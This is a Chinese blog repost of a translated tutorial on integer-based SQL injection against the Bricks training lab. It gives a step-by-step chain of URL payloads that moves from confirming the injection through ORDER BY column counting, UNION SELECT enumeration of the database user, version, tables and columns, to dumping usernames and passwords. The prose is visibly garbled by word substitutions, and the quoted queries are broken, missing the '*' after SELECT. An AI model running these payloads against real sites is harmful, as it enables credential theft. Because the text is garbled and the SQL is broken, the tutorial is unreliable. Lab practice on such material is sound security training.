首页 » 网站推广 » phpsql注入limit技巧_翻译高级SQL注入 基于整数

phpsql注入limit技巧_翻译高级SQL注入 基于整数

访客 2024-12-17 0

扫一扫用手机浏览

文章目录 [+]

SQL Query: SELECT FROM users WHERE idusers=0 LIMIT 1

这里的id参数许可通过浏览器的URL进行输入改变输入的值这将会产生不一样的输出。

phpsql注入limit技巧_翻译高级SQL注入 基于整数

URL: bricks/content-1/index.php?id=1

phpsql注入limit技巧_翻译高级SQL注入 基于整数
(图片来自网络侵删)

SQL Query: SELECT FROM users WHERE idusers=1 LIMIT 1

这次,页面显示的内容是另一个用户的。
自从参数id 被输入便成了一个有趣的测试出发点。
首先,须要见测试是否随意马虎受到SQL注入攻击的。

URL: bricks/content-1/index.php?id=0′

SQL Query: SELECT FROM users WHERE idusers=0′ LIMIT 1

页面将不会有输出,但是会显示一些缺点的信息。
这意味着id参数存在着注入点,并且可以插入我们的注入语句,然后滋扰查询内容。
注入代码必须用一种不打乱完全的SQL语句办法去插入。
下一步是利用精心布局的SQL命令去验证漏洞是否存在。

URL: bricks/content-1/index.php?id=0 and 1=1

SQL Query: SELECT FROM users WHERE idusers=0 and 1=1 LIMIT 1

现在页面不显示任何缺点。
这是由于添加的SQL语句返回的是一个True值。
那么如果添加的语句返回的不是一个true值会怎么样呢?

URL: bricks/content-1/index.php?id=0 and 1=2

SQL Query: SELECT FROM users WHERE idusers=0 and 1=2 LIMIT 1

由于注入的代码总是返回false,Web的页面将不再显示任何内容,只会显示缺点的信息见告用户是不错在的。
这就证明注入的语句在id这个参数上确实可以实行的。

注入的代码可以进一步的修正而得以完成更高等的功能,包括获取、删除、改变一些主要的信息。
然而,在目前阶段,没有清晰的关于数据库的知识,版本,表,列等信息。
以是,这些细节信息必须首先列举出来。
列举出当前数据库列数是相比拟较大略的一项事情。

URL: bricks/content-1/index.php?id=0 order by 1

SQL Query: SELECT FROM users WHERE idusers=0 order by 1 LIMIT 1

页面将不会显示任何问题,也不会涌现缺点信息。

URL: bricks/content-1/index.php?id=0 order by 2

SQL Query: SELECT FROM users WHERE idusers=0 order by 2 LIMIT 1

页面显示的内不再有任何问题和缺点。
以是这证明至少存在有2个列。

URL: bricks/content-1/index.php?id=0 order by 3

SQL Query: SELECT FROM users WHERE idusers=0 order by 3 LIMIT 1

这个页面显示的内容仍旧没有任何问题和缺点。
以是它至少有三个列。

这个过程中不断增加 order by的值直到页面涌现一些显示的变革之后。

URL: bricks/content-1/index.php?id=0 order by 8

SQL Query: SELECT FROM users WHERE idusers=0 order by 8 LIMIT 1

这个页面显示的内容仍旧没有任何问题和缺点。
以是它至少有八个列。

URL: bricks/content-1/index.php?id=0 order by 9

SQL Query: SELECT FROM users WHERE idusers=0 order by 9 LIMIT 1

这次页面涌现了一些缺点,以是第九列是不存在的。
这将确认这个表只有8列。

union select语句将会找到这8个列中哪一个会产生漏洞。

URL: bricks/content-1/index.php?id=0 UNION SELECT 1,2,3,4,5,6,7,8

SQL Query: SELECT FROM users WHERE idusers=0 UNION SELECT 1,2,3,4,5,6,7,8 LIMIT 1

这次页面没有涌现任何分外的信息也非正常的页面。
这是由于页面只返回了查询结果的第一行。
如果是这种情形,就须要对注入代码进行小小的修正使第二行显示完全。
这有很多方法可以做到。

URL: bricks/content-1/index.php?id=99999 UNION SELECT 1,2,3,4,5,6,7,8

SQL Query: SELECT FROM users WHERE idusers=99999 UNION SELECT 1,2,3,4,5,6,7,8 LIMIT 1

在这,假天命据库的存储用户信息的数量是小于99999。
由于没有ID是99999的用户,这第一行明显的变成无效的了,而第二行将变得有效。
于是便将改变输出到了页面上显示出来。

URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8

SQL Query: SELECT FROM users WHERE idusers=0 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8 LIMIT 1

尽可能的使第一部分命令失落效。

这两种情形都会显示一些数字插入在真实的用户信息中。
这些数字相对应的列就存在漏洞。

URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT user(),2,3,4,5,6,7,8

SQL Query: SELECT FROM users WHERE idusers=0 and 1=2 UNION SELECT user(),2,3,4,5,6,7,8LIMIT 1

第一个数字被更换成当前数据库的用户名,便是root@localhost

URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT version(),2,3,4,5,6,7,8

SQL Query: SELECT FROM users WHERE idusers=0 and 1=2 UNION SELECT version(),2,3,4,5,6,7,8LIMIT 1

这将帮助我们得到数据库的版本。

URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT database(),2,3,4,5,6,7,8

SQL Query: SELECT FROM users WHERE idusers=0 and 1=2 UNION SELECT database(),2,3,4,5,6,7,8 LIMIT 1

当前数据库的名字将会被显示-bricks。
现在必须列举出当前数据库的表。

URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT table_name,2,3,4,5,6,7,8 from information_schema.tables where table_schema=’bricks’

SQL Query: SELECT FROM users WHERE idusers=0 and 1=2 UNION SELECTtable_name,2,3,4,5,6,7,8 from information_schema.tables where table_schema=’bricks’ LIMIT 1

由于只有一个表在bricks数据库中,以是它的信息会被显示出来。
下一步是获取user表的列。

URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT column_name,2,3,4,5,6,7,8 from information_schema.columns where table_schema=’bricks’ and table_name=’users’ LIMIT 0,1 — –

SQL Query: SELECT FROM users WHERE idusers=0 and 1=2 UNION SELECTtable_name,2,3,4,5,6,7,8 from information_schema.tables where table_schema=’bricks’ andtable_name=’users’ LIMIT 0,1 — – LIMIT 1

idusers的名字在users表的第一列。
这两个LIMIT函数看起来在实行的查询语句中,这将会涌现冲突而导致结果涌现语法缺点。
为了避开这些问题,应紧接在注入的LIMIT函数后面,加入–注释,注释掉查询语句的别的部分。

URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT column_name,2,3,4,5,6,7,8 from information_schema.columns where table_schema=’bricks’ and table_name=’users’ LIMIT 1,1 — –

SQL Query: SELECT FROM users WHERE idusers=0 and 1=2 UNION SELECTcolumn_name,2,3,4,5,6,7,8 from information_schema.columns where table_schema=’bricks’ andtable_name=’users’ LIMIT 1,1 — – LIMIT 1

name 是 users 表的第二列。

这个过程须要持续到LIMIT 7,1(作为一个有8列的表,它的编号开始为0)。
在这个过程的末了,所有的列明将会获取到下面这些:idusers, name, email, password, ua, ref, host, lang。
用户名列和密码列将会是比较有趣的列。
以是下一步须要通过注入语句获取到这些列里面的数据。

URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT concat(name,CHAR(32),password),2,3,4,5,6,7,8 from bricks.users LIMIT 0,1 — –

SQL Query: SELECT FROM users WHERE idusers=0 and 1=2 UNION SELECT concat(name,CHAR(32),password),2,3,4,5,6,7,8 from bricks.users LIMIT 0,1 — – LIMIT 1

这将得到用户表里第一个用户和密码。
CHAR(32)代表一个空格,这样放在用户和密码之间使其很随意马虎去区分。

URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT concat(name,CHAR(32),password),2,3,4,5,6,7,8 from bricks.users LIMIT 1,1 — –

SQL Query: SELECT FROM users WHERE idusers=0 and 1=2 UNION SELECT concat(name,CHAR(32),password),2,3,4,5,6,7,8 from bricks.users LIMIT 1,1 — – LIMIT 1

得到用户表里第二个用户和密码。
这个过程持续到获取表里所有的用户名和密码。

参考:http://sechow.com/bricks/docs/content-page-1.html

学习参考:http://www.hetianlab.com/

原文作者:CRoot

标签:

相关文章

php小偷短题目技巧_PHP采集 抓取

一、 什么是php采集程序?二、 为什么要采集?三、 采集些什么?四、 如何采集?五、 采集思路六、 采集范例程序七、 采集心得什...

网站推广 2024-12-18 阅读0 评论0